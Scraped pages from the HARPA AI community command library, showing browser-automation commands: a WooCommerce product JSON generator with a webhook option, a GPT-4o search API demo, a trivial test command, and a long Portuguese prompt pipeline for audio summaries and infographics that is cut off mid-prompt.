Product JSON Generator [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🛍️  Quick WooCommerce Product JSON Generator ============================================= Convert any product page into WooCommerce JSON format with easy export/webhook options -------------------------------------------------------------------------------------- Created by **Najib HADDOUCHI** Updated on **May 30, 2025 13:41** Installed **7 times** 1 SENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: say message: >- # 🛍️ Quick WooCommerce Product JSON Generator ## Tips for best results: - Make sure you're on a product page with visible pricing - The script works best with standard e-commerce layouts - For webhooks, have your endpoint URL ready - The generated JSON follows WooCommerce import format - You can use this JSON in WooCommerce → Products → Import ## Features: ✓ Automatic price detection ✓ Image URL extraction ✓ Product attributes parsing ✓ Category/tag detection ✓ Export to file or webhook - type: ask param: product_url message: 'Paste a product URL or press Enter to use current page:' options: - label: ✅ USE CURRENT PAGE value: '{{url}}' default: '{{url}}' - type: gpt prompt: >- Act as an e-commerce data extraction expert. TASK: Extract product information from the webpage and structure it according to WooCommerce JSON format. GUIDELINES: - Identify product name (title or H1) - Extract prices (regular and sale if available) - Get product description - Create short description (1-2 sentences) - Find product images - Collect specifications - Extract categories and tags OUTPUT FORMAT: Return only the following JSON structure: { "name": "Product name", "type": "simple", "regular_price": "Regular price (numeric)", "sale_price": "Sale price if available (numeric)", "description": "Full description", "short_description": "Brief summary", "categories": ["Categories"], "tags": ["Tags"], "images": [{"src": "Image URL"}], "attributes": [\ {\ "name": "Attribute name",\ "options": ["Values"]\ }\ ] } PAGE TO ANALYZE: {{page}} Generate WooCommerce JSON: param: json_data isolated: true chunkify: text: '{{page}}' empty: '' - type: calc func: extract-json to: woo_json param: json_data index: '' - type: say message: ✅ WooCommerce JSON successfully generated! - type: ask param: action message: What would you like to do with the JSON? options: - label: 📋 VIEW JSON value: view - label: 📦 EXPORT TO FILE value: export - label: 🔗 SEND TO WEBHOOK value: webhook - label: ✅ FINISH value: done - condition: '{{action}} = view' type: say message: |- ```json {{woo_json}} ``` - condition: '{{action}} = export' type: export what: param param: woo_json filename: woocommerce_product.json - condition: '{{action}} = webhook' type: group steps: - type: say message: >- 📌 **Webhook Tips:** - Make sure your webhook endpoint accepts POST requests - The JSON will be sent in the request body - Content-Type will be application/json - Test your webhook URL before using it - type: ask param: webhook_url message: 'Enter your webhook URL:' options: null default: '' - type: request url: '{{webhook_url}}' method: POST headers: Content-Type: application/json body: '{{woo_json}}' auth: enabled: false param: response - type: say message: >- ✅ JSON sent to webhook successfully! You can now: - Import the product in WooCommerce - Check your webhook logs - Process the data on your server - condition: '{{action}} != done' type: jump to: action Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 4o-search REQUEST test/demo (public) [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  4o-search REQUEST test/demo (public) ======================================== Replace YOUR-API-KEY in REQUEST headers field with actual API key; adjust web\_search\_options (context size, location) in body content field --------------------------------------------------------------------------------------------------------------------------------------------- Created by **get\_back\_to\_work! C** Updated on **Mar 22, 2025 12:53** Installed **2 times** 0 RUNS JS CODESENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: ask param: query message: 'Please provide query:' options: null default: '' vision: enabled: false mode: area send: true hint: '' - type: request url: api.openai.com/v1/chat/completions method: post headers: Authorization: Bearer YOUR-API-KEY Content-Type: application/json body: model: gpt-4o-search-preview messages: - role: user content: - type: text text: '{{query}}' response_format: type: text web_search_options: search_context_size: high user_location: type: approximate approximate: country: US store: true auth: enabled: false username: '' password: '' param: response bodyInvalid: false headersInvalid: false - type: say message: |- RAW response below --- {{response}} - code: >- // Access the response object passed in via args const { response, citations } = args; console.log("Full response:", response); // Parse the JSON body from the response const data = response.body; console.log("Parsed data:", data); // Extract the assistant's message text const assistantMessage = data?.choices?.[0]?.message?.content || "No content found"; console.log("Assistant says:", assistantMessage); // First try using citations passed via args; if empty, extract from the response let urlCitations = citations && citations.length ? citations : ( data?.choices?.[0]?.message?.annotations ?.filter(a => a.type === "url_citation") .map(a => { const { start_index, end_index, title, url } = a.url_citation; return { start_index, end_index, title, url }; }) || [] ); // Function to clean up and normalize Markdown text const cleanMarkdown = (text) => { let cleaned = text.trim(); // Normalize multiple blank lines to a single double newline cleaned = cleaned.replace(/(\n\s*\n)+/g, "\n\n"); return cleaned; }; const assistantMessageMarkdown = cleanMarkdown(assistantMessage); // Function to generate a Markdown citation list const generateCitationList = (citationsArr) => { if (!citationsArr || citationsArr.length === 0) return ''; return citationsArr .map(c => `- [${c.title}](${c.url})`) .join('\n'); }; const citationsMarkdown = generateCitationList(urlCitations); // Combine the cleaned assistant message with a references section in Markdown const finalMarkdown = `${assistantMessageMarkdown}\n\n## References\n\n${citationsMarkdown}`; // Generate an HTML version of the response const finalHtml = ` <div> <p>${assistantMessage.replace(/\n/g, "<br>")}</p> <h4>References</h4> <ul> ${urlCitations.map(c => `<li><a href="${c.url}" target="_blank">${c.title}</a></li>`).join("\n")} </ul> </div> `; // Return all useful components for further processing or display return { fullData: data, text: assistantMessage, markdown: finalMarkdown, citations: urlCitations, html: finalHtml }; label: JS_PARSED type: js args: response param: JS_parsed timeout: 15000 onFailure: '' - message: |- JS_parsed.markdown --- {{JS_parsed.markdown}} type: say - message: |- JS_parsed.citations --- {{JS_parsed.citations}} type: say - message: |- JS_parsed.html --- {{JS_parsed.html}} type: say Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | RCE Test Cmd [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  RCE Test Cmd ================ test ---- Created by **test test** Updated on **Mar 21, 04:16** Installed **3 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt param: result message: hello options: null Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 04 PL — Professor Longo v25.5.0 — Infográfico Direto + PNG [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  04 PL — Professor Longo v25.5.0 — Infográfico Direto + PNG ============================================================== Modelo professor longo identificado como 04 PL, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Created by **Compilando o Conhecimento** Updated on **Jun 5, 18:50** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: wait for: custom-delay delay: 200 - type: say message: ETAPA 1/4 — Lendo o conteúdo e montando o mapa canônico turbo. - type: gpt prompt: >- Você está executando a ETAPA 1 do Professor Pro Web + Áudio v25.4.7 — MAPA CANÔNICO TURBO. FUNÇÃO Ler somente o trecho atual e gerar um mapa canônico rápido, fiel e suficiente. REGRA CENTRAL Use apenas o conteúdo do trecho. Não invente. Não use web. Ignore menu, anúncio, botão, rodapé, URL rastreada, metadado solto e ruído de interface. OBJETIVO Preservar a espinha dorsal: tese, itens principais, empresas/ativos/pessoas, dados, mecanismos, riscos e pontos que não podem desaparecer. SE O TRECHO FOR FRACO Responda apenas: TRECHO INSUFICIENTE PARA CONTRIBUIR COM O RESUMO FINAL. Motivo: [uma frase]. SAÍDA MAPA CANÔNICO TURBO DO TRECHO Fonte/tipo: Suficiência: Estrutura, se houver: Tese do trecho: Itens principais: Empresas/ativos/pessoas/conceitos: Dados e números relevantes: Mecanismos: Riscos e limites: Pilares que não podem sumir: O que preservar no resumo: LIMITE Trecho simples: até 15 linhas. Trecho denso: até 28 linhas. Agrupe sem apagar nomes centrais. MATERIAL {{chunk}} chunkify: text: |- Título: {{title}} Texto selecionado: {{selection}} Transcrição do YouTube: {{transcriptPlain}} Corpo de e-mail estruturado: {{email}} Thread: {{thread limit=80}} Conteúdo textual da página: {{page}} empty: '' maxTokens: 16000 param: maps silent: true - type: say message: ETAPA 2/4 — Consolidando o contrato editorial único. - type: gpt prompt: >- Você está executando a ETAPA 2 do Professor Pro Web + Áudio v25.4.7 — CONTRATO EDITORIAL ÚNICO COM RÉGUA DE COMPRESSÃO. FUNÇÃO Consolidar todos os mapas canônicos em uma base editorial única para gerar o resumo final de áudio e orientar o infográfico. REGRA CENTRAL Não invente. Não use web. Não volte ao conteúdo bruto. Preserve a cobertura estrutural completa, mas corte repetição, burocracia, ruído e bastidor. REGRA DE COMPRESSÃO PEDAGÓGICA Os quatro modelos partem da mesma base estrutural, mas não preservam o mesmo nível de detalhe. O ultracurto condensa; o curto comprime; o médio desenvolve; o longo aprofunda. No ultracurto, é permitido reduzir explicações, exemplos e nuances, mas não é permitido apagar pilares estruturais. No curto, é permitido perder detalhes, exemplos secundários e nuances. Não é permitido perder a lógica principal, os pilares da tese, os riscos centrais e os nomes indispensáveis. RÉGUA DE EXPECTATIVA PARA VÍDEO DE 1 HORA Ultracurto: 3 a 5 minutos de áudio, cerca de 500 a 800 palavras. Revisão rápida, preservando todos os pilares estruturais em formato compacto. Curto: 4 a 7 minutos de áudio, cerca de 600 a 1.000 palavras. Alta densidade. Entrega a tese inteira sem tentar entregar o vídeo inteiro. Médio: 10 a 16 minutos de áudio, cerca de 1.500 a 2.400 palavras. Explica tese, mecanismos, exemplos e implicações. Longo: 22 a 35 minutos de áudio, cerca de 3.300 a 5.200 palavras. Aula aprofundada, com contexto, nuances, riscos, catalisadores e leitura estratégica. FORMATO CONTRATO EDITORIAL ÚNICO Tese central: Mecanismo principal: Pilares indispensáveis: Nomes indispensáveis para o áudio curto: Nomes secundários que podem ser agrupados ou ir melhor no infográfico: Dados indispensáveis: Riscos centrais: Catalisadores e pontos de monitoramento: O que o ultracurto deve preservar: O que o ultracurto pode comprimir ou omitir: O que o curto deve preservar: O que o curto pode comprimir ou omitir: O que o médio deve desenvolver: O que o longo deve aprofundar: Regras para não inventar: LIMITE Até 65 linhas. MAPAS CANÔNICOS {{maps}} param: coverage_contract silent: true - type: say message: ETAPA 3/4 — Gerando o resumo final para áudio. - type: gpt prompt: >- Você está executando o GPT3 do Professor Pro Web + Áudio v25.4.7 — RESUMO FINAL PARA ÁUDIO — MODELO LONGO. FUNÇÃO Transformar o contrato editorial único em texto final limpo, narrativo, fiel e fácil de ouvir. TRAVA ANTI-BASTIDOR A saída NÃO pode parecer contrato. Não use: contrato editorial, contrato global, contrato parcial, mapa canônico, GPT3, prompt, regras para não inventar, o que não pode cortar, cobertura obrigatória, checklist interno. FIDELIDADE Não invente. Não use web. Não acrescente fatos novos. Não transforme hipótese em certeza. Preserve a tese estrutural do material, mas aplique a profundidade correta do modelo LONGO. REGRA DO LONGO — COMPRESSÃO MÍNIMA O longo preserva a tese estrutural e aprofunda contexto, mecanismos, conexões, riscos, catalisadores e leitura estratégica. PROMESSA EDITORIAL Transformar o conteúdo em uma aula completa. O usuário deve sair conseguindo explicar o conteúdo para outra pessoa. PRESERVE - tese completa; - contexto relevante; - mecanismos; - empresas/ativos por categoria; - exemplos principais e secundários úteis; - nuances importantes; - riscos primários e secundários; - cenários, catalisadores e pontos de monitoramento. PODE OMITIR - propaganda; - enrolação; - repetição vazia; - falas sem valor analítico; - ruído de interface. TAMANHO-ALVO PARA MATERIAL DE 1 HORA - ideal: 3.300 a 4.500 palavras; - teto normal: 5.200 palavras; - se o conteúdo for pouco denso: 2.500 a 3.300 palavras; - se passar de 5.200 palavras, corte repetições e detalhes que não mudam a compreensão. ESTILO Português do Brasil. Texto fluido para áudio. Soar como professor particular explicando no carro. Use causa, efeito e implicação. Evite relatório, listas excessivas e burocracia. ESTRUTURA REGRA DE IDENTIFICAÇÃO DO MODELO NO ÁUDIO No início e no final do resumo para áudio, na faixa de abertura e de encerramento, o modelo (MODELO LONGO) deve aparecer de forma visível. Essa informação não deve ser usada como conteúdo do infográfico. ━━━ INÍCIO DO RESUMO PARA ÁUDIO — MODELO LONGO ━━━ EM POUCAS PALAVRAS RESUMO EXPLICADO PILARES QUE NÃO PODEM SER ESQUECIDOS O QUE REALMENTE IMPORTA RETER ━━━ FIM DO RESUMO PARA ÁUDIO — MODELO LONGO ━━━ CONTRATO EDITORIAL ÚNICO {{coverage_contract}} param: audio_summary silent: false - type: say message: >- ETAPA 4/4 — Gerando o infográfico final direto em PNG com base no resumo em áudio. - type: connection connection: ChatGPT switchDuration: command silent: true - type: gpt prompt: > GPT-4 INFOGRÁFICO — MODELO LONGO — REVISÃO 6.1 CONSOLIDADA Você está executando a ETAPA 4 do Professor Pro Web + Áudio v25.5.0 — INFOGRÁFICO FINAL DIRETO. FUNÇÃO Transformar o RESUMO FINAL PARA ÁUDIO em uma imagem final de estudo visual. A base principal e mandatória do infográfico é o RESUMO FINAL PARA ÁUDIO. A BASE EDITORIAL existe apenas como apoio interno para evitar omissões graves de tese, nomes, riscos, números, empresas, pessoas, ativos, tickers ou pontos de monitoramento. SAÍDA OBRIGATÓRIA Gerar o resultado final como IMAGEM, preferencialmente PNG. Se PNG não estiver disponível, gerar a melhor alternativa possível de imagem com qualidade muito alta. Entregar somente a imagem final. É proibido responder com briefing visual, HTML, checklist, roteiro, explicação do processo, texto fora da imagem ou descrição do que faria. IDENTIFICAÇÃO INTERNA GPT-4 Infográfico — Modelo Longo — Revisão 6.1 Consolidada. Essa identificação é apenas interna ao prompt. Não exibir “GPT-4”, “Longo”, “Revisão 6.1”, “modelo”, “tipo de resumo”, “prompt”, “contrato editorial”, “base editorial” ou qualquer bastidor dentro da imagem. MISSÃO CENTRAL Criar um infográfico altamente visual, editorial, premium, realista, criativo, memorável e fácil de acompanhar enquanto o usuário escuta o áudio. O infográfico não deve parecer dashboard, slide corporativo, mapa mental simples, grade de cards, coleção de caixas, resumo escrito dentro de blocos ou template genérico de IA. O infográfico deve parecer uma peça editorial de alto padrão, com direção de arte forte, arte-mãe central potente, conteúdo derivado dessa arte-mãe, excelente legibilidade, margem perfeita, paleta controlada, imagens realistas e alta resolução. REGRA CENTRAL — ARTE-MÃE CENTRAL O infográfico deve nascer de uma ARTE-MÃE CENTRAL. A ARTE-MÃE CENTRAL é o grande criativo visual do infográfico. Ela deve ficar visualmente centralizada na composição ou funcionar como o eixo central evidente da peça. A arte-mãe deve representar a tese principal, o tema que conecta todo o conteúdo, a metáfora dominante e o mecanismo central do resumo. 100% dos assuntos relevantes do infográfico devem derivar visualmente da arte-mãe central. Derivar significa nascer dela, conectar-se a ela, ser explicado por ela, orbitar sua lógica, seguir sua narrativa e manter coerência visual com ela. É proibido criar uma arte-mãe bonita e depois resolver o restante com caixas, cards ou blocos independentes. Quando a pessoa bater o olho no infográfico, deve entender imediatamente o assunto central. PROCESSO INTERNO OBRIGATÓRIO ANTES DE GERAR Antes de gerar a imagem, faça internamente: 1. Leia o RESUMO FINAL PARA ÁUDIO. 2. Identifique a tese central que conecta todo o conteúdo. 3. Identifique a imagem, metáfora, objeto, cena ou estrutura que melhor representa essa tese. 4. Crie uma arte-mãe central de altíssimo nível. 5. Identifique os desdobramentos essenciais do modelo. 6. Faça todos os desdobramentos saírem da arte-mãe central. 7. Garanta que nenhum desdobramento vire card, caixa ou bloco genérico. 8. Identifique empresas, tickers, logotipos, pessoas centrais e elementos reais úteis. 9. Garanta paleta, margem, rodapé, fonte mínima, resolução e fidelidade visual. 10. Revise criticamente antes de entregar. Esse processo é interno. Não mostrar. CAMADA FIXA — REGRAS INEGOCIÁVEIS As regras abaixo não são sugestões. Se qualquer uma falhar, a imagem está errada e deve ser refeita internamente. 1. Paleta oficial sem preto dominante e sem neon. 2. Margem obrigatória em todo o perímetro. 3. @Fredericoza centralizado dentro da margem inferior. 4. Fonte mínima equivalente a 12 pt. 5. Alta resolução, aparência 4K ou superior. 6. Canvas livre e proporcional ao conteúdo. 7. Arte-mãe central. 8. 100% dos assuntos derivando da arte-mãe. 9. Fidelidade visual de pessoas, empresas e ativos. 10. Empresas com ticker e símbolo/logotipo quando disponíveis. 11. Autores/fonte não devem aparecer como personagem se não fazem parte da tese. 12. Anti-card absoluto. PALETA OFICIAL — FUNDO GRAFITE CLARO, SEM PRETO E SEM NEON O infográfico deve usar tema escuro elegante, mas nunca preto puro ou quase preto. A base deve ser grafite médio/editorial, com aparência cerca de 30% mais clara do que os fundos escuros antigos. FUNDO PRINCIPAL PREFERENCIAL Usar como base dominante um destes tons: - #3A4047 - #40464D - #46505A - #4A5560 - #4C5055 TONS ESCUROS PERMITIDOS APENAS COMO APOIO Usar apenas para sombra, profundidade, contraste localizado ou detalhes: - #24282E - #2B3036 - #203A43 - #2F3A44 É proibido usar como base dominante preto puro, quase preto, fundo excessivamente noturno, fundo pesado, visual gamer ou atmosfera sci-fi neon. CORES DE DESTAQUE PERMITIDAS Usar cores vivas, sólidas, maduras e editoriais: - azul profissional: #2F80ED - azul técnico profundo: #2563A8 - verde esmeralda: #2EAD6B - verde confirmação: #3A9D5D - âmbar / dourado queimado: #D89B2B - laranja moderado: #C9792B - coral risco: #D95D4E - vermelho risco profundo: #B23A3A - violeta sofisticado: #7B61B9 - roxo estratégico: #5E4B8B - ciano moderado: #2AA6B8 CORES PROIBIDAS COMO DOMINANTES - #000000 - #FFFFFF como superfície dominante - #00FFFF - #39FF14 - #FF00FF - azul neon - roxo neon - verde fluorescente - ciano brilhante REGRA ANTI-NEON ABSOLUTA Cor viva é permitida. Neon é proibido. Não usar glow exagerado, halo forte, borda luminosa, contorno elétrico, luz azul/ciano dominante, estética LED, estética gamer, visual futurista genérico ou cor fluorescente. Eliminar ao máximo qualquer aparência neon. A peça deve parecer editorial premium, não interface neon. MARGEM ESTRUTURAL OBRIGATÓRIA — MÁSCARA FIXA Todo infográfico deve respeitar uma margem de segurança clara em todo o perímetro. A margem deve existir nos 4 lados: superior, inferior, esquerdo e direito. A margem funciona como uma máscara fixa aplicada sobre o infográfico. Nenhum elemento pode encostar na borda da imagem. Isso inclui título, subtítulo, números, texto, retratos, logotipos, tickers, ícones, gráficos, imagens, linhas, clusters, ornamentos e assinatura. A margem deve funcionar como moldura silenciosa da peça. Se algo encostar, parecer apertado ou invadir a área de segurança, o layout está errado. RODAPÉ OFICIAL PADRÃO — MÁSCARA FIXA Todo infográfico deve usar exatamente o mesmo rodapé. O rodapé deve conter apenas: @Fredericoza Regras obrigatórias: - centralizar horizontalmente no rodapé; - colocar dentro da margem inferior; - manter respiro acima e abaixo; - usar apenas o texto “@Fredericoza”; - não usar URL; - não usar x.com/Fredericoza; - não usar ícone; - não usar estrela; - não usar pena; - não usar brasão; - não usar plaqueta chamativa; - não usar moldura ornamental; - não usar divisória decorativa; - não usar qualquer elemento extra. O rodapé deve ser simples, funcional, limpo, editorial, discreto, constante e profissional. O @Fredericoza não pode ficar jogado no layout, colado na borda, competir com o conteúdo principal, mudar de estilo entre infográficos ou aparecer com enfeites. TAMANHO MÍNIMO DE LETRA — REGRA INEGOCIÁVEL Nenhum texto do infográfico pode ficar pequeno, espremido ou difícil de ler. Usar como referência mínima visual: - fonte equivalente a 12 pt ou maior para qualquer texto informativo; - títulos e subtítulos substancialmente maiores; - números importantes grandes e destacados; - rótulos menores somente se forem plenamente legíveis. É proibido microtexto, legenda minúscula, lista com fonte pequena, texto comprimido, texto que exija zoom excessivo ou texto sacrificado para caber em área pequena. Se o conteúdo não couber mantendo fonte mínima equivalente a 12 pt, aumentar o canvas. Nunca reduzir a fonte para caber. Sempre aumentar o tamanho da imagem. RESOLUÇÃO E QUALIDADE — REGRA INEGOCIÁVEL O infográfico deve ser gerado em alta resolução, com aparência de 4K ou superior. Priorizar imagem grande, arquivo de maior qualidade, alta nitidez, texto limpo, bordas sem serrilhado, ausência de pixelização, ausência de craquelado e boa leitura ao dar zoom. É aceitável que o arquivo final seja maior se isso melhorar legibilidade e qualidade. É proibido compactar a peça visualmente para reduzir tamanho de arquivo. Se houver dúvida entre imagem menor/mais leve e imagem maior/mais legível, escolher sempre imagem maior e mais legível. CANVAS LIVRE E PROPORCIONAL AO CONTEÚDO O infográfico não deve ser limitado a folha A4, slide, proporção fixa ou tamanho padrão. O tamanho da folha é proporcional ao conteúdo. O canvas pode crescer verticalmente, horizontalmente, em ambas as direções, em formato pôster, mural, mapa, spread editorial, panorâmico ou qualquer proporção necessária. Se o conteúdo pedir uma folha duas vezes maior, usar uma folha duas vezes maior. Se precisar expandir para os lados, expandir. Se precisar expandir para baixo, expandir. É proibido comprimir conteúdo para caber, reduzir letra para caber, empilhar caixas para caber, sacrificar criatividade por tamanho ou manter sempre a mesma proporção. Depois da criação, aplicar margem estrutural em todo o perímetro. DESMEMBRAMENTO ORGÂNICO A PARTIR DA ARTE-MÃE Todo assunto relevante deve sair da arte-mãe central. Os desdobramentos devem parecer ramificações, órbitas, fluxos, extensões, consequências, satélites visuais orgânicos, camadas derivadas, trilhas, linhas narrativas ou territórios conectados. Eles não devem parecer cards, caixas, quadrados, módulos independentes, blocos soltos, dashboard, tabela visual ou vitrine de empresas. PROIBIÇÃO DE SATÉLITES EM BOX Não criar uma cena central forte e depois cercá-la com caixinhas. Se a arte-mãe for forte, os elementos derivados também precisam ser visualmente fortes, orgânicos e integrados. É proibido transformar derivações em card, box, quadro, tabela, bloco retangular, lista isolada, seção quadrada ou imagem em cima + texto embaixo. ANTI-CARD ABSOLUTO O infográfico não pode ser resolvido por cards. É proibido usar como solução principal quatro cards lado a lado, grade de empresas, blocos repetidos, vitrines retangulares, cards com imagem em cima e texto embaixo, boxes de riscos, boxes de monitoramento, catálogo de empresas, painel corporativo ou dashboard. Se parecer “tudo guardado em quadradinhos”, está errado. TRADUÇÃO VISUAL DO CONTEÚDO Antes de escrever, tentar desenhar. Antes de listar, tentar mostrar. Converter: - tese central → arte-mãe central; - mecanismo → fluxo saindo da arte-mãe; - empresa → ticker + logotipo/símbolo real + função na tese; - pessoa → somente se fizer parte da tese; retrato fiel ou representação neutra; - autor/fonte → não representar visualmente como personagem se não fizer parte da tese; - risco → rachadura, sombra, tensão, obstáculo, falha, alerta ou zona crítica; - monitoramento → radar, sensores, checkpoint, trilha, painel de missão ou marco visual; - número → número grande, medidor, instrumento, telemetria ou comparação visual; - síntese → fechamento visual conectado à arte-mãe. TEXTO COMO APOIO, NÃO COMO PROTAGONISTA O infográfico deve passar muita informação com menos texto. O texto deve funcionar como título, rótulo, número, ticker, legenda curta, frase-mestra ou microfrase essencial. Evitar parágrafos, listas longas, bullets extensos, textos pequenos, tabelas e miniartigos dentro da imagem. Se uma ideia precisar de muitas palavras, ela ainda não foi bem transformada em imagem. REALISMO COMO PADRÃO Sempre que o conteúdo permitir representação concreta, priorizar imagens realistas. Usar aparência fotográfica, render editorial realista, textura real, luz realista, objetos reconhecíveis, ambientes críveis, produtos, prédios, máquinas, cidades, lavouras, fábricas, usinas, data centers, foguetes e equipamentos com aparência profissional. Evitar ao máximo clipart, cartoon, ilustração genérica, desenho simplificado, rosto artificial, cidade sci-fi genérica, reator inventado, fábrica inventada, laboratório inventado ou produto inventado. IMAGENS EM DESENHO Eliminar ao máximo imagens com aparência de desenho, cartoon, clipart, ilustração infantil ou arte genérica. Usar desenho apenas quando for inevitável para representar conceito abstrato, e mesmo assim com acabamento editorial adulto e sofisticado. REGRA DE PESSOAS — SÓ REPRESENTAR QUEM FAZ PARTE DA TESE Não representar automaticamente a pessoa que escreveu o tweet, post, e-mail, newsletter, artigo ou roteiro. Autor, perfil, canal ou fonte só deve aparecer como pessoa no infográfico se ele próprio fizer parte do conteúdo, da tese ou da narrativa central. Se o autor apenas publicou, comentou, compartilhou ou explicou o conteúdo, não colocar seu rosto no infográfico. Quando o conteúdo citar uma pessoa específica e nomeada que realmente faça parte da tese, não usar retrato inventado. Só usar retrato se houver alta confiança visual de que ele será coerente com a pessoa citada. Se não houver confiança suficiente, não inventar rosto. Usar silhueta neutra, avatar editorial simples, nome em destaque, objeto associado, ambiente associado ou composição sem retrato. É melhor não mostrar uma pessoa do que mostrar uma pessoa errada. Retrato decorativo de pessoa nomeada é proibido. REGRA DE EMPRESAS — TICKER + LOGO/SÍMBOLO Quando o conteúdo citar empresa específica, representar a empresa de forma útil, reconhecível e fiel. Sempre que possível, incluir: - nome da empresa; - ticker; - logotipo ou símbolo visual real; - função daquela empresa dentro da tese. Exemplos: - SpaceX → nome + símbolo visual reconhecível, se relevante; - Tesla → TSLA + símbolo/logotipo; - Nvidia → NVDA + símbolo/logotipo; - Amazon → AMZN + símbolo/logotipo; - Microsoft → MSFT + símbolo/logotipo; - Palantir → PLTR + símbolo/logotipo. Se o ticker não estiver no material fornecido ou não houver segurança, não inventar. Usar apenas nome e símbolo se forem confiáveis. Quando houver múltiplas empresas, elas não devem virar cards. Cada empresa deve aparecer como desdobramento orgânico da arte-mãe, com ticker e logo/símbolo quando confiáveis. FIDELIDADE VISUAL DE EMPRESAS, ATIVOS E PRODUTOS Quando o conteúdo citar empresa específica, não inventar ativo, sede, fábrica, produto, laboratório, reator, foguete, chip, equipamento ou instalação como se fosse real. Priorizar logotipo real, símbolo reconhecível, produto real se conhecido, instalação real se conhecida, contexto operacional real, imagem setorial neutra quando não houver certeza ou composição editorial conceitual quando o ativo específico não for confiável. Se não houver segurança de que a imagem representa algo real da empresa, usar uma solução neutra e honesta. Nunca sugerir visualmente que um ativo inventado pertence à empresa. USO DE MARCAS, BANDEIRAS E ELEMENTOS REAIS Quando o conteúdo citar empresa, país, pessoa, produto, ativo, tecnologia ou instituição, usar elementos reconhecíveis e úteis sempre que possível. Empresa → ticker + logotipo ou símbolo real. País → bandeira. Pessoa → apenas se fizer parte da tese; retrato fiel ou alternativa neutra. Produto → produto real se houver confiança. Setor → imagem realista do setor. O objetivo é aumentar utilidade, reconhecimento e credibilidade visual. ESTILO EDITORIAL A peça deve se aproximar de capa de revista premium, reportagem visual especial, opening spread editorial, mural informativo de alto padrão, arte conceitual informativa e direção de arte humana. A peça não deve se aproximar de dashboard, 